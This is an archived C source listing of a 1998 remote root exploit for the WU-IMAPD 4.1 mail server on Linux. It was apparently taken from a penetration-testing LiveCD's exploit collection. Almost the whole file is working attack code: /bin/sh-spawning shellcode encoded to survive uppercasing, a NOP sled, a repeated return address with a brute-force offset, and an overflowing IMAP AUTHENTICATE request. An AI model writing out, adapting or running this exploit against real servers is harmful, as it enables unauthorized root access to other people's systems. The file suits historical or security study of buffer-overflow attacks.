home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imap-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  126 lines

  1. /*
  2.  
  3. THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW
  4.    
  5. Linux WU-IMAPD 4.1 remote root exploit (4/98)
  6.   by   ndubee||plaguez
  7.        dube0866@eurobretagne.fr
  8.  
  9.  
  10. Usage:   ./imapx <offset>
  11.            
  12.              where offset = -500..500  (brute force if 0 doesnt work) 
  13.      
  14.  
  15.  
  16.  
  17. Credits:
  18.   - Cheez Whiz (original x86 BSD exploit)
  19.   - #!w00w00 and #!ADM
  20.  
  21. Note:
  22.     if you plan to port this to other OS., make sure the
  23.     shellcode doesn't contain lower case chars since imapd
  24.     will toupper() the shellcode, thus fucking it up.
  25.  
  26.   */
  27.   
  28.  
  29.  
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <limits.h>
  34. #include <string.h>
  35.  
  36. #define BUFLEN 2048
  37. #define NOP 0x90
  38.  
  39. char shell[] =
  40. /*
  41.         jmp 56 
  42.         popl %esi
  43.         movl    %esi,%ebx
  44.         movl    %ebx,%eax
  45.         
  46.         addb    $0x20,0x1(%esi)
  47.         addb    $0x20,0x2(%esi)
  48.         addb    $0x20,0x3(%esi)
  49.         addb    $0x20,0x5(%esi)
  50.         addb    $0x20,0x6(%esi)
  51.         
  52.         movl    %esi,%edi
  53.         addl    $0x7,%edi
  54.         xorl    %eax,%eax
  55.         stosb   %al,%es:(%edi)
  56.         movl    %edi,%ecx
  57.         movl    %esi,%eax
  58.         stosl   %eax,%es:(%edi)
  59.         movl    %edi,%edx
  60.         xorl    %eax,%eax
  61.         stosl   %eax,%es:(%edi)
  62.         movb    $0x8,%al
  63.         addb    $0x3,%al
  64.         int     $0x80
  65.         xorl    %ebx,%ebx
  66.         movl    %ebx,%eax
  67.         incl    %eax
  68.         int     $0x80
  69.         call   -61 
  70.         .string \"/BIN/SH\"
  71.         .byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup
  72.  
  73.     */
  74.  
  75. "\xeb\x38\x5e\x89\xf3\x89\xd8\x80"
  76. "\x46\x01\x20\x80\x46\x02\x20\x80"
  77. "\x46\x03\x20\x80\x46\x05\x20\x80"
  78. "\x46\x06\x20\x89\xf7\x83\xc7\x07"
  79. "\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
  80. "\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  81. "\x03\xcd\x80\x31\xdb\x89\xd8\x40"
  82. "\xcd\x80\xe8\xc3\xff\xff\xff\x2f"
  83. "\x42\x49\x4e\x2f\x53\x48\x00";
  84.  
  85.  
  86.  
  87.  
  88.  
  89. void
  90. main (int argc, char *argv[])
  91. {
  92.   char buf[BUFLEN];
  93.   int offset=0,nop,i;
  94.   unsigned long esp; 
  95.     
  96.  
  97.   fprintf(stderr,"usage: %s <offset>\n", argv[0]);
  98.     
  99.   nop = 403;
  100.   esp = 0xbffff520;
  101.   if(argc>1) 
  102.       offset = atoi(argv[1]);
  103.  
  104.   memset(buf, NOP, BUFLEN);
  105.   memcpy(buf+(long)nop, shell, strlen(shell));
  106.   
  107.   for (i = 512; i < BUFLEN - 4; i += 4)
  108.     *((int *) &buf[i]) = esp + (long) offset;
  109.  
  110.   printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
  111.   for (i = 0; i < BUFLEN; i++)
  112.     putchar(buf[i]);
  113.   
  114.   printf("\r\n");
  115.  
  116.   return;
  117. }
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.